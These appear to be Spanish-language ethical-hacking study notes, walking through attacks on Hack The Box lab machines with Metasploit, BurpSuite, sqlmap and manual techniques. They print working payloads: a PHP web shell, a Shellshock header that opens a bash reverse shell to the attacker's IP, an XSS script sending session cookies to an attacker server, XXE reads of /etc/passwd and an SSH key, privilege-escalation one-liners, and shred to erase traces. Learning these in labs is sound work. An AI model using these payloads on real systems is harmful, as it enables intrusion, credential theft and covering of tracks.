Metasploit es una herramienta poderosa para encontrar y explotar vulnerabilidades. A continuación, se detalla cómo utilizar Metasploit para explotar un servicio web Http File Server (HFS).

Configuración Inicial

21. **Inicializar Metasploit**:

```
msfdb run
```

22. **Buscar Exploits**:

```
search hfs
```

23. **Seleccionar y Cargar un Exploit**:

```
use exploit/windows/http/rejetto_hfs_exec
```

24. **Obtener Información del Exploit**:

```
info
```

25. **Mostrar Opciones del Exploit**:

```
show options
```

26. **Configurar Opciones del Exploit**:

```
set <option> <value>
```

Configuración del Listener

27. **Configurar Payload**:

```
set payload windows/meterpreter/reverse_tcp
```

28. **Configurar Opciones del Payload**:

```
set LHOST 10.10.14.18
set LPORT 4645
```

29. **Ejecutar el Exploit**:

```
exploit
```

Sesión Meterpreter

Si el exploit es exitoso, se abrirá una sesión Meterpreter. Para obtener una consola interactiva:

```
shell
```

EXPLOTACIÓN MANUAL DE LA VULNERABILIDAD (SIN METASPLOIT)

Introducción

Este proceso detalla cómo explotar manualmente una vulnerabilidad sin utilizar Metasploit.

Uso de Searchsploit

30. **Buscar Exploit**:

```
searchsploit http file server
```

31. **Mover Exploit al Directorio Actual**:

```
searchsploit -m <id>
```

Configuración y Ejecución

32. **Modificar el Exploit**:
    Cambiar la IP y el puerto en el exploit para configurar la reverse shell.

33. **Iniciar Servidor Web**:

```
python -m SimpleHTTPServer 80
```

34. **Poner en Escucha con Netcat**:

```
nc -nlvp 443
```

35. **Ejecutar el Exploit**:

```
python 39161.py 10.10.10.8 80
```

    Es posible que necesite ejecutar el exploit varias veces para que funcione correctamente.

36. **Ganar Acceso**:
    Si el exploit es exitoso, se ganará acceso a la máquina víctima a través de una reverse shell.

USO DE LA HERRAMIENTA BURPSUITE

Introducción

BurpSuite es una herramienta poderosa para pentesting web, actuando como un intermediario (proxy) que permite interceptar y analizar peticiones. A continuación, se describe su configuración y uso.

Configuración

1. **Abrir BurpSuite**:

```
burpsuite
```

2. **Configuración del Proxy en BurpSuite**:
    - Ir a `Proxy` -> `Proxy settings`.

- La dirección debe estar en `localhost (127.0.0.1)` y el puerto en `8080`.

3. **Configurar el Navegador (Firefox)**:
   - Ir a `Settings` -> `Network` -> `Network settings`.
   - Seleccionar `Manual proxy configuration` y poner `localhost` y puerto `8080`.
   - Marcar la opción `Also set this proxy for HTTPS`.
4. **Problemas con HTTPS**:
   - Ir a la página `https://burp/` y descargar el certificado.
   - En el navegador (Firefox), ir a `Settings` -> `Certificates` e importar el certificado descargado.
5. **Definir un Scope**:
   - Esto se hace para capturar solo las peticiones de una URL específica, evitando ruido innecesario.

BURPSUITE - DEFINICIÓN DE SCOPE Y COMPROMETIENDO UN SERVIDOR WEB

Definir un Scope

6. **Limpiar Items Activos**:
   - Borrar los items en `HTTP history` y `Site map`.
7. **Configurar Scope**:
   - Ir a `Options` y marcar `Don't send items to Proxy history or live tasks, if out of scope`.
   - Ir a `Target` -> `Scope` y añadir la URL de la web víctima.

Comprometer un Servidor Web

8. **Fuzzear el Servidor**:
   - Utilizar `Wfuzz` para descubrir rutas potenciales en `10.10.10.6/FUZZ`.
   - Encontrar la ruta `10.10.10.6/torrent/`.
9. **Registro y Subida de Archivos**:
   - Registrarse como un usuario normal y subir un archivo torrent.
   - Intentar subir un archivo `.php` malicioso con una web-shell:

```
<?php
    echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>
```

- Comprobar que la web-shell funciona ejecutando `http://localhost/shell.php?cmd=whoami`.

10. **Subir Archivo Malicioso con BurpSuite**:
    - Interceptar la petición de subida con BurpSuite.
    - Modificar el `Content-Type` a `image/jpeg` y cambiar el `filename` a un archivo `.php` con el código malicioso.
    - Forward la petición para que viaje al servidor.
11. **Localizar y Ejecutar el Archivo Subido**:
    - Encontrar la ubicación del archivo subido.
    - Ejecutar el archivo `.php` en la URL para obtener ejecución remota de comandos.
12. **Lanzar una Reverse-Shell**:
    - Utilizar una reverse-shell desde `pentestmonkey.net`.
    - Configurar Netcat en la máquina atacante para escuchar en el puerto 443.
    - Ejecutar el comando de la reverse-shell en la URL del archivo malicioso.
13. **Obtener una Shell Interactiva**:
    - Tratar la tty para obtener una shell completamente interactiva en la máquina víctima.
14. **Crowling Automático de BurpSuite**:
    - BurpSuite hace crowling del servidor web para encontrar archivos y directorios adicionales y reportar issues de seguridad.
15. **Borrar el Archivo PHP** (Opcional):
    - Utilizar el comando `shred` para borrar el archivo sin dejar rastro:

```
shred -zun 10 -v <nombre archivo>
```

BURPSUITE: USO DEL REPEATER Y EXPLOTANDO UN CASO PRÁCTICO

Uso del Repeater

El Repeater de BurpSuite permite reejecutar comandos sin repetir todo el proceso de explotación.

16. **Seleccionar Petición en HTTP History**:
    - Ir a `HTTP history`.
    - Seleccionar la petición de subida del archivo malicioso (POST).
    - Enviar al Repeater con `Ctrl + R` o click derecho y `Send to Repeater`.

17. **Ejecutar Petición en el Repeater**:
    - En el Repeater, hacer click en `Go` para ver la respuesta del servidor.
    - Capturar la petición de un comando con `Intercept on` y enviar al Repeater para ejecutarlo directamente desde BurpSuite.
18. **Formato URL-encoded**:
    - Asegurarse de que los comandos están en formato `URL-encoded` (ejemplo: `ls -l` se convierte en `ls+-l`).
    - Seleccionar el comando y usar `Ctrl + u` para hacer el cambio automáticamente.

USO DEL INTRUDER Y EXPLOTANDO UN CASO PRÁCTICO

Configuración del Intruder

19. **Enviar Petición al Intruder**:
    - Desde el Repeater, enviar la petición de RCE al Intruder con `Ctrl + i` o click derecho y `Send to Intruder`.
20. **Configurar Posiciones y Payloads**:
    - En la pestaña de `Positions`, clickar `Clear` y definir los payloads manualmente.
    - Asegurarse que el `Attack type` es `Sniper`.
    - Seleccionar el comando a ejecutar y clickar `Add`.
21. **Cargar Diccionario de Comandos**:
    - Ir a la pestaña de `Payloads` y cargar un diccionario de comandos.
22. **Configurar Grep-Extract**:
    - En la pestaña de `Options`, configurar `Grep-Extract` con una expresión regular para mostrar solo la salida del comando.
23. **Ejecutar el Ataque**:
    - Click en `Start Attack`. BurpSuite ejecutará todos los comandos del diccionario y aplicará el filtro para mostrar los resultados en una pestaña.

EXPLOTANDO VULNERABILIDAD LOCAL FILE INCLUSION (LFI)

Procedimiento Básico

24. **Escaneo Inicial**:
    - Realizar un escaneo para identificar el SO, puertos abiertos, y servicios.

- Buscar exploits relevantes con `searchsploit`.

25. **Identificación de LFI**:
    - Buscar vulnerabilidades específicas como LFI (ejemplo: `searchsploit Elastix`).
    - Inspeccionar el código del exploit (`searchsploit -x <path>`).
26. **Explotación de LFI**:
    - Utilizar path traversal (`../../../../etc/file.conf`) y `%00` para leer archivos.
    - Copiar el exploit en la URL para mostrar el fichero de configuración.
27. **Lectura de Ficheros**:
    - Leer cualquier fichero accesible por el usuario detrás del gestor de contenidos.
28. **Utilización de BurpSuite**:
    - Interceptar peticiones con BurpSuite para trabajar de manera más eficiente.
    - Definir el scope para interceptar solo las peticiones relevantes.
29. **Exploración de Puertos Internos**:
    - Leer `/proc/net/tcp` para ver puertos abiertos internamente.
    - Aplicar filtro para visualizar puertos en hexadecimal:

```
cat file.txt | awk '{print $2}' | awk '{print $2}' FS=":"| sort -u
```

EXPLOTANDO VULNERABILIDAD LOG POISONING - LFI TO RCE

Convertir LFI a RCE

30. **Log Poisoning**:
    - Identificar un archivo `.log` accesible y mal configurado.
    - Leer el archivo `access.log` de Apache.
31. **Inserción de Código PHP**:
    - Usar `curl` para insertar código PHP en el `User-Agent`:

```
curl "http://LFI=/var/log/apache2/access.log" -H "User-Agent: <?php
system('whoami')?>"
```

32. **Ejecutar Código PHP**:
    - Leer el `access.log` para ejecutar el comando `whoami`.
33. **Obtener RCE con `auth.log`**:
    - Usar `ssh` para insertar un código en `auth.log`:

```
ssh '<?php system("echo <codigo en base64 para obtener una reverse shell> | base64 -d | bash");?>'@localhost
```

- Escuchar con Netcat en la máquina atacante.
- Lanzar la petición de lectura de `auth.log` para obtener una shell.

EXPLOTANDO LA VULNERABILIDAD HTML INJECTION Y XSS (CROSS-SITE SCRIPTING)

Procedimiento Básico

34. **Escaneo Inicial**:
    - Realizar un escaneo de la máquina víctima (ejemplo: `Secnotes`) utilizando herramientas como `whichSystem`, `whatweb`, `nmap`.
    - Lanzar scripts básicos de enumeración.
35. **Investigación del Servicio Web**:
    - Registrar una cuenta en el servicio web.
    - Verificar la vulnerabilidad de inyección HTML creando una nota con:

      ```
      <h1>Texto</h1>
      ```

      Si el texto se muestra en grande, es vulnerable.
36. **Comprobación de XSS**:
    - Crear una nota con:

      ```
      <script>alert("Texto")</script>
      ```

      Si aparece una ventana emergente, es vulnerable a XSS.
37. **Explotación de XSS para Robar Cookies**:
    - Iniciar un servidor HTTP con Python:

      ```
      python -m SimpleHTTPServer 80
      ```

    - Crear una nota con:

      ```
      <script>document.write('<img src="http://<ip local>/image.jpg?cookie=' + document.cookie + '">')</script>
      ```

      Al recargar, se captura la cookie de sesión del usuario.
38. **Uso de BurpSuite**:
    - Modificar el campo de cookie en la petición a la página ya logueada (`ip/home.php`) para iniciar sesión sin necesidad de contraseña.

EXPLOTANDO VULNERABILIDAD CROSS-SITE REQUEST FORGERY (CSRF)

Procedimiento Básico

39. **Intercepción de Cambio de Contraseña**:
    - Interceptar una petición de cambio de contraseña de una cuenta de usuario con BurpSuite.
    - Cambiar la petición a GET en BurpSuite (`Change request method`).
40. **Modificación y Transmisión de la Petición**:
    - Transmitir la petición modificada y verificar si el cambio de contraseña se efectúa (`password updated`).
41. **Explotación de CSRF**:
    - Crear una URL que aplique cambios (por ejemplo, cambio de contraseña) y utilizar ingeniería social para que un administrador acceda a la URL construida.
    - Ganar acceso a la cuenta del administrador.

EXPLOTANDO VULNERABILIDAD SERVER-SIDE REQUEST FORGERY (SSRF)

Procedimiento Básico

42. **Escaneo Inicial**:
    - Realizar un escaneo de la máquina víctima (ejemplo: `Haircut`) utilizando herramientas como `whichSystem`, `whatweb`, `nmap`.
    - Lanzar scripts básicos de enumeración.
43. **Búsqueda de Rutas Potenciales con wfuzz**:
    - Utilizar `wfuzz` para buscar recursos PHP visibles:

```
wfuzz -c -t 500 --hc=404 -w /usr/share/worldlists/dirbuster/directory-list-2.3-medium.txt https://10.10.10.24/FUZZ.php
```

44. **Identificación de Recursos Internos**:
    - Encontrar el recurso `exposed.php` que permite hacer peticiones al servidor de recursos internos.
    - Verificar si hay más puertos abiertos internamente.
45. **Uso de BurpSuite**:
    - Interceptar la petición a `http://localhost:1` en `exposed.php`.
    - Enviar la petición al Intruder de BurpSuite.

46. **Configuración del Intruder**:
    - Configurar `Positions` para un ataque tipo `Sniper`.
    - Seleccionar el número de puerto y añadir `$` para inyectar payloads.
    - Configurar `Payloads` como `Numbers`, secuencia de 1 a 65535 con un paso de 1.
47. **Ejecutar el Ataque y Análisis**:
    - Efectuar el ataque y analizar el tamaño de las respuestas para identificar puertos abiertos.
    - Listar información privilegiada interna que no debería ser visible.

EXPLOTANDO VULNERABILIDAD SQL INJECTION CON SQLMAP

Procedimiento Básico

48. **Escaneo Inicial**:
    - Realizar un escaneo de la máquina víctima (ejemplo: `Rabbit` en HTB) utilizando herramientas como `whichSystem`, `whatweb`, `nmap`.
    - Identificar puertos abiertos, en este caso, el puerto 8080 que lista un servicio web Apache con título "Example".
49. **Búsqueda de Rutas Potenciales**:
    - Utilizar `wfuzz` para buscar rutas en el servicio web:

```
wfuzz -c -t 100 --hc=404 -w /usr/share/worldlists/dirbuster/directory-list-2.3-medium.txt https://10.10.10.71:8080/FUZZ
```

50. **Identificación de Recursos y Registro**:
    - Encontrar el recurso `complain` (Complain Management System) donde se puede autenticar o registrar.
51. **Verificación de SQL Injection**:
    - Verificar si es vulnerable añadiendo `'` al final de la URL:

```
view.php?mod=admin&view=repod&id=plans'
```

      Si aparece un error SQL, es vulnerable.
52. **Uso de SQLMap para Exploit**:
    - Usar `sqlmap` para explotar la vulnerabilidad:

```
sqlmap -u "http://10.10.10.71:8080/complain/view.php?mod=admin&view=repod&id=plans" --cookie "PHPSESSID=[cookie]" --dbs --batch --random-agent
```

      - El parámetro `--dbs` obtiene las bases de datos disponibles.

- `--batch` automatiza las respuestas por defecto.
- `--random-agent` randomiza el User Agent.

53. **Especificación de MySQL**:
    - Para mayor eficiencia, especificar el DBMS:

```
sqlmap -u
"http://10.10.10.71:8080/complain/view.php?mod=admin&view=repod&id=plans
" --cookie "PHPSESSID=[cookie]" --dbs --batch --random-agent --
dbms=mysql
```

54. **Listado de Tablas y Columnas**:
    - Listar las tablas de la base de datos `complain`:

```
sqlmap -u
"http://10.10.10.71:8080/complain/view.php?mod=admin&view=repod&id=plans
" --cookie "PHPSESSID=[cookie]" --D complain --tables --batch --random-
agent --dbms=mysql
```

    - Listar las columnas de la tabla `tbl_customer`:

```
sqlmap -u
"http://10.10.10.71:8080/complain/view.php?mod=admin&view=repod&id=plans
" --cookie "PHPSESSID=[cookie]" --D complain --T tbl_customer --columns
--batch --random-agent --dbms=mysql
```

55. **Dumpear Información**:
    - Dumpear los datos de las columnas `cname` y `cpass`:

```
sqlmap -u
"http://10.10.10.71:8080/complain/view.php?mod=admin&view=repod&id=plans
" --cookie "PHPSESSID=[cookie]" --D complain --T tbl_customer --C
cname,cpass --dump --batch --random-agent --dbms=mysql
```

EXPLOTANDO VULNERABILIDAD SQL INJECTION DE FORMA MANUAL

Procedimiento Básico

56. **Configuración Inicial**:
    - Iniciar el servicio MySQL:

```
service mysql start
```

    - Conectar a MySQL como root:

```
mysql -u root
```

    - Mostrar las bases de datos existentes:

```
show databases;
```

57. **Creación de una Nueva Base de Datos**:

- Crear una base de datos llamada `Colegio`:

```
create database Colegio;
```

- Conectarse a la base de datos `Colegio`:

```
use Colegio;
```

58. **Creación de Tablas y Columnas**:
    - Crear una tabla `Alumnos` con columnas:

```
create table Alumnos(id int(2), username varchar(32), password
varchar(32), contacto varchar(32));
```

    - Describir la tabla `Alumnos`:

```
describe Alumnos;
```

59. **Inserción de Datos**:
    - Insertar datos en la tabla `Alumnos`:

```
insert into Alumnos(id, username, password, contacto) values(1,
"administrator", "admin123!...", "546584556");
```

60. **Realización de Peticiones SQL**:
    - Mostrar toda la información de la tabla:

```
select * from Alumnos;
```

    - Filtrar información de la tabla:

```
select * from Alumnos where id = 1;
```

61. **Detección de Número de Columnas**:
    - Probar la cantidad de columnas:

```
select * from Alumnos where id = 1 order by 100;-- -;
```

    - Etiquetar columnas:

```
select * from Alumnos where id = 1 union select 1,2,3,4;-- -;
```

62. **Extracción de Información de la Base de Datos**:
    - Obtener información de la base de datos actual:

```
select * from Alumnos where id = 1 union select
1,database(),user(),@@version;-- -;
```

    - Listar todas las bases de datos:

```
select * from Alumnos where id = 1 union select 1,schema_name,3,4 from
information_schema.schemata;-- -;
```

    - Listar tablas de la base de datos `Colegio`:

```
select * from Alumnos where id = 1 union select 1,table_name,3,4 from
information_schema.tables where table_schema = "Colegio";-- -;
```

- Listar columnas de la tabla `Alumnos` en la base de datos `Colegio`:

```
select * from Alumnos where id = 1 union select 1,column_name,3,4 from
information_schema.columns where table_schema = "Colegio" and
table_name="Alumnos";-- -;
```

63. **Dumpear Información**:

- Obtener datos de las columnas `username` y `password`:

```
select * from Alumnos where id = 1 union select
1,concat(username,0x3a,password),3,4 from Colegio.Alumnos;-- -;
```

EXPLOTANDO VULNERABILIDAD PADDING ORACLE ATTACK - PADBUSTER

Descripción del Ataque

Para realizar la explotación utilizaremos la herramienta Padbuster. Nos enfrentamos a la máquina víctima Lazy (HTB), que tiene un servidor web abierto. Registrarse si es posible y observar que la cookie de sesión está encriptada. Buscamos determinar cómo está encriptada para replicarla con otros usuarios y realizar cookie hijacking.

Proceso de Explotación

64. **Identificar la vulnerabilidad:**

- Utilizar Padbuster para comprobar si la máquina es vulnerable a padding oracle attack:

```
padbuster http://10.10.10.18/login.php [cookie] [numero de bytes] -
cookie "[cookieType]=[cookie]" -encoding 0
```

65. **Computar una nueva cookie:**

- Si Padbuster determina que la cookie se encripta usando CBC, y revela que el contenido en texto plano de la cookie es `user=[username]`, se puede intentar computar la cookie de sesión del usuario admin:

```
padbuster http://10.10.10.18/login.php [cookie] [numero de bytes] -
cookie "[cookieType]=[cookie]" -encoding 0 -plaintext "user=admin"
```

66. **Resultado:**

- Editar la cookie de sesión con la nueva computada y autenticarse como administradores, logrando el cookie hijacking.

EXPLOTANDO VULNERABILIDAD PADDING ORACLE ATTACK - BURPSUITE BIT FLIPPER

Descripción del Ataque

Realizaremos el ataque de padding oracle utilizando BurpSuite con un bit flipper attack. Nos registramos en la web de la máquina víctima Lazy (HTB) con un nombre de usuario similar a 'admin', por ejemplo, 'bdmin'.

Proceso de Explotación

67. **Preparación:**
    - Interceptar una petición a la URL (http://10.10.10.18/login.php) y enviarla a Intruder con Ctrl + i.
68. **Configuración del Ataque:**
    - Seleccionar la cookie y marcarla para el ataque con 'Add $'.
    - En el apartado de payloads, seleccionar 'Bit flipper' como tipo de payload.
    - En opciones, añadir un grep para el mensaje de log 'You are currently logged in as [username]!'.
69. **Ejecutar el Ataque:**
    - Modificar el campo de cookie de la petición previamente capturada y hacer forwarding.
    - Verificar la autenticación como usuario admin.

EXPLOTANDO VULNERABILIDAD SHELLSHOCK

Descripción del Ataque

Explotaremos la máquina Beep (HTB) que tiene el puerto 1000 abierto, observando un panel de login. Intentamos loguearnos con cualquier credencial y si se añade una extensión .cgi, .pl o .sh en la URL, se realiza un ataque ShellShock.

Proceso de Explotación

70. **Preparación:**
    - Ponerse en escucha en el puerto 443:

```
nc -nlvp 443
```

71. **Captura y Modificación:**
    - Capturar una petición con BurpSuite y modificar el User-Agent con la siguiente sentencia:

```
User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/[tu IP]/443 0>&1
```

72. **Ejecución del Ataque:**

- Hacer forwarding del paquete y verificar acceso a la máquina víctima como usuario privilegiado.

EXPLOTANDO VULNERABILIDAD XML ENTITY INJECTION (XXE)

Descripción del Ataque

En la máquina víctima DevOops (HTB), con el puerto 5000 abierto, identificamos un directorio 'upload' que permite subir archivos XML. Se aprovecha esta vulnerabilidad para visualizar archivos locales del sistema.

Proceso de Explotación

73. **Crear y Subir Archivo Malicioso:**
    - Crear un archivo XML con la siguiente estructura:

```
<!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<elements>
    <Author>&xxe;</Author>
</elements>
```

74. **Obtener Clave Privada:**
    - Suponer que el usuario 'roosa' tiene una id_rsa privada en el directorio .ssh:

```
<!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///home/roosa/.ssh/id_rsa" >]>
<elements>
    <Author>&xxe;</Author>
</elements>
```

75. **Configurar y Conectar:**
    - Copiar la clave privada obtenida y guardarla en un archivo local 'id_rsa':

```
chmod 600 id_rsa
```

    - Conectarse via ssh a la máquina víctima:

```
ssh -i id_rsa roosa@10.10.10.91
```

Resultado:

- Acceso autenticado como el usuario roosa sin necesidad de contraseña, aprovechando el archivo .ssh autorizado.

EXPLOTANDO VULNERABILIDAD DOMAIN ZONE TRANSFER

Descripción del Ataque

Un ataque de transferencia de zona se puede realizar utilizando la herramienta `dig`, que permite emitir peticiones a nivel DNS para listar servidores ns o mx (correo). Para explotar esta vulnerabilidad, utilizaremos el parámetro `axfr`.

Proceso de Explotación

1. **Listar servidores ns o mx:**
    - Utilizar `dig` para listar los servidores ns o mx del dominio:

```
dig @10.10.10.123 friendzone.red ns,mx
```

2. **Explotar la vulnerabilidad con `axfr`:**
    - Si el dominio es vulnerable, se puede obtener un listado de subdominios válidos utilizando el siguiente comando:

```
dig @10.10.10.123 friendzone.red axfr
```

3. **Utilización de subdominios:**
    - Añadir los subdominios obtenidos al fichero `/etc/hosts`:

```
sudo nano /etc/hosts
```

    - Acceder a estos subdominios desde un navegador web para ver si se lista alguna otra página con información privilegiada.

EXPLOTANDO VULNERABILIDADES DE TIPO INSECURE DESERIALIZATION

Descripción del Ataque

En este caso, se explota la máquina Celestial (HTB), que tiene el puerto 3000 abierto con un servicio web que muestra el texto "Hey Dummy 2 + 2 is 22". Se sospecha de deserialización insegura a partir del análisis de la cookie de sesión.

Proceso de Explotación

4. **Preparación:**
    - Definir el Scope en BurpSuite para filtrar información que provenga de la URL correspondiente.
    - Interceptar una petición y observar el parámetro cookie (`profile=ey...`), que parece ser base64.
5. **Decodificación y Modificación de la Cookie:**
    - Decodificar la cookie en consola o con el decoder de BurpSuite:

```
echo 'ey...' | base64 -d
```

- Modificar el contenido decodificado, cambiar `username":"Dummy` por `username":"Raul`, volver a codificarlo en base64 y sustituir la cookie interceptada.

6. **Ejecución y Validación:**
   - Hacer forwarding de la petición modificada y observar el cambio en el servidor web a "Hey Raul 2 + 2 is 22".
7. **Instalación de Herramientas:**
   - Instalar `nodejs` y `npm`:

```
sudo apt install nodejs npm -y
```

   - Instalar `node-serialize`:

```
npm install node-serialize
```

8. **Creación del Script de Serialización:**
   - Crear el siguiente script para serializar datos:

```
var y = {
rce: function(){
    require('child_process').exec('whoami', function(error, stdout,
stderr) { console.log(stdout) });
}()
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));
```

9. **Obtención de la Cadena Serializada:**
   - Ejecutar el script para obtener una cadena serializada:

```
node serialize.js
```

10. **Creación de la Data Maliciosa:**
    - Utilizar herramientas como `nodejsshell.py` para obtener la data serializada para una reverse-shell.
    - Convertir la data en base64:

```
cat data | base64 -w 0; echo
```

11. **Ejecución del Ataque:**
    - Ponerse en escucha en el puerto 443:

```
nc -nlvp 443
```

    - Copiar la data obtenida en el campo `profile` de la cookie interceptada y hacer forwarding del paquete.
    - Verificar que se ha obtenido una shell sobre la máquina víctima.

EXPLOTANDO VULNERABILIDAD TYPE JUGGLING SOBRE PANEL LOGIN

Descripción del Ataque

Vamos a crear un script en PHP para simular un panel de login con una vulnerabilidad de type juggling debido a una mala programación. Esto nos permitirá acceder al sistema sin conocer la contraseña correcta.

Proceso de Explotación

12. **Preparación:**
    - Iniciar el servicio Apache:

```
service apache2 start
```

13. **Creación del Script PHP:**
    - Crear un archivo PHP con el siguiente contenido:

```
<html>
    <font color="red"><h1><marquee>Secure Login
Page</marquee></h1></font>
    <hr>
    <body style="background-color:powderblue;">
        <center><form method="POST" name="<?php
basename($_SERVER['PHP_SELF']); ?>">
            Usuario: <input type="text" name="usuario" id="usuario"
size="30">
             
            Password: <input type="password" name="password"
id="password" size="30">
            <input type="submit" value="Login">
        </form></center>
    <?php
        $USER = "admin";
        $PASSWORD = "4st4p4ssw0rd!3simp0siblederomper!$2020..";

        if(isset($_POST['usuario']) && isset($_POST['password'])){
            if($_POST['usuario'] == $USER){
                if(strcmp($_POST['password'], $PASSWORD) == 0){
                    echo "Acceso exitoso!";
                } else { echo "La password es incorrecta!"; }
            } else { echo "El usuario es incorrecto!"; }
        }
    ?>
    </body>
</html>
```

14. **Enumeración de Usuarios:**
    - Utilizar `wfuzz` para enumerar usuarios potenciales:

```
wfuzz -c -t 400 --hh=429 -w /usr/share/wordlists/dirbuster/directory-
list-2.3-medium.txt -d 'usuario=FUZZ&password=test' http://IP/login.php
```

15. **Explotación de la Vulnerabilidad Type Juggling:**
    - Utilizar `curl` para explotar la vulnerabilidad:

```
curl -s -X POST --data 'usuario=admin&password[]=contraseña'
http://IP/login.php | html2text
```

ABUSO DE SUDOERS PARA ESCALAR PRIVILEGIOS

Descripción del Ataque

Mediante ingeniería social, se puede lograr que un administrador del sistema nos dé acceso al archivo `/etc/sudoers` para realizar alguna tarea aparentemente inofensiva, como comprimir archivos con `zip`. Esta acción se puede abusar para ganar acceso privilegiado al sistema.

Proceso de Explotación

16. **Ejecución del Comando:**
    - Utilizar el siguiente comando para escalar privilegios:

```
sudo zip test /etc/hosts -T -TT 'sh #'
```

ABUSO DE PERMISOS SUID PARA ESCALAR PRIVILEGIOS

Descripción del Ataque

Se pueden escalar privilegios aprovechándose de binarios con permisos SUID. Cualquier binario con este permiso puede ser ejecutado por cualquier usuario con los privilegios del propietario del binario.

Proceso de Explotación

17. **Búsqueda de Binarios con SUID:**
    - Buscar binarios con el bit SUID activo:

```
find / -perm -4000 2>/dev/null
```

18. **Explotación del Binario:**
    - Si se encuentra un binario como `/usr/bin/timeout` con SUID, se puede explotar de la siguiente manera:

```
timeout 7d /bin/sh -p
```

ABUSO DE CAPABILITIES PARA ESCALAR PRIVILEGIOS

Descripción del Ataque

Se pueden abusar de las capabilities para obtener privilegios de root. En este caso, utilizamos el binario `php7.3`.

Proceso de Explotación

19. **Asignación de Capabilities:**
    - Asignar la capability `cap_setuid+ep` al binario `php7.3`:

```
sudo setcap cap_setuid+ep /usr/bin/php7.3
```

20. **Ejecución del Comando PHP:**
    - Utilizar PHP para obtener una shell con privilegios de root:

```
php7.3 -r "posix_setuid(0); system('/bin/bash');"
```

LIBRARY HIJACKING

Descripción del Ataque

El library hijacking en Python aprovecha el orden de búsqueda de módulos en el `sys.path`. El directorio actual tiene prioridad sobre otros directorios, lo que permite cargar una versión modificada de una biblioteca estándar.

Proceso de Explotación

21. **Verificación del `sys.path`:**
    - Ejecutar Python e imprimir `sys.path`:

```
python
import sys
print(sys.path)
```

22. **Creación del Archivo Python (`example.py`):**
    - Crear un archivo `example.py` que importe la biblioteca `hashlib`:

```
#!/usr/bin/python

import hashlib, sys

if len(sys.argv) != 2:
    print("Ha habido un error...\n")
    sys.exit(1)

if __name__ == '__main__':
    palabra = sys.argv[1]
    md5 = hashlib.md5(palabra.encode()).hexdigest()
    print(md5)
```

23. **Localización de la Biblioteca Original:**
    - Encontrar la ubicación de la biblioteca `hashlib`:

```
locate hashlib.py
```

24. **Creación de la Biblioteca Falsa (`hashlib.py`):**

- Crear un archivo `hashlib.py` en el mismo directorio que `example.py`:

```
import os

os.setuid(0)
os.system("/bin/bash")
```

25. **Ejecución del Archivo Python:**
    - Ejecutar `example.py` para que importe la versión modificada de `hashlib` y obtenga una shell con privilegios elevados:

```
./example.py palabra
```

ABUSO DEL KERNEL PARA ESCALAR PRIVILEGIOS

Descripción del Ataque

Se pueden escalar privilegios explotando vulnerabilidades en versiones antiguas del kernel.

Proceso de Explotación

26. **Verificación de la Versión del Kernel:**
    - Obtener la versión del kernel:

```
uname -a
```

27. **Búsqueda de Explotaciones:**
    - Buscar exploits específicos para la versión del kernel:

```
[versión] exploit kernel
```

28. **Ejecución del Exploit:**
    - Encontrar y descargar un exploit (por ejemplo, en C) que cree un usuario privilegiado. Un ejemplo podría ser un código en C#:

```
// Ejemplo de exploit en C# que crea un usuario privilegiado
```

29. **Compilación y Ejecución del Exploit:**
    - Compilar y ejecutar el exploit para crear un usuario con UID=0:

```
gcc exploit.c -o exploit
./exploit
```

30. **Migración al Nuevo Usuario:**
    - Cambiar al usuario creado por el exploit y verificar los privilegios de root:

```
su nuevo_usuario
id
```

RECONOCIMIENTO DEL SISTEMA

Descripción del Ataque

Utilizar herramientas de enumeración para realizar un reconocimiento exhaustivo del sistema comprometido en busca de posibles vías de escalación de privilegios.

Proceso de Explotación

31. **Descarga de la Herramienta:**
    - Descargar `linux-smart-enumeration`:

```
git clone https://github.com/diego-treitos/linux-smart-enumeration.git
cd linux-smart-enumeration
chmod +x lse.sh
```

32. **Ejecución de la Herramienta:**
    - Ejecutar la herramienta con un nivel de detalle específico:

```
./lse.sh -l 2
```

33. **Análisis de Resultados:**
    - Revisar los resultados detallados para identificar posibles vulnerabilidades y vectores de escalación de privilegios.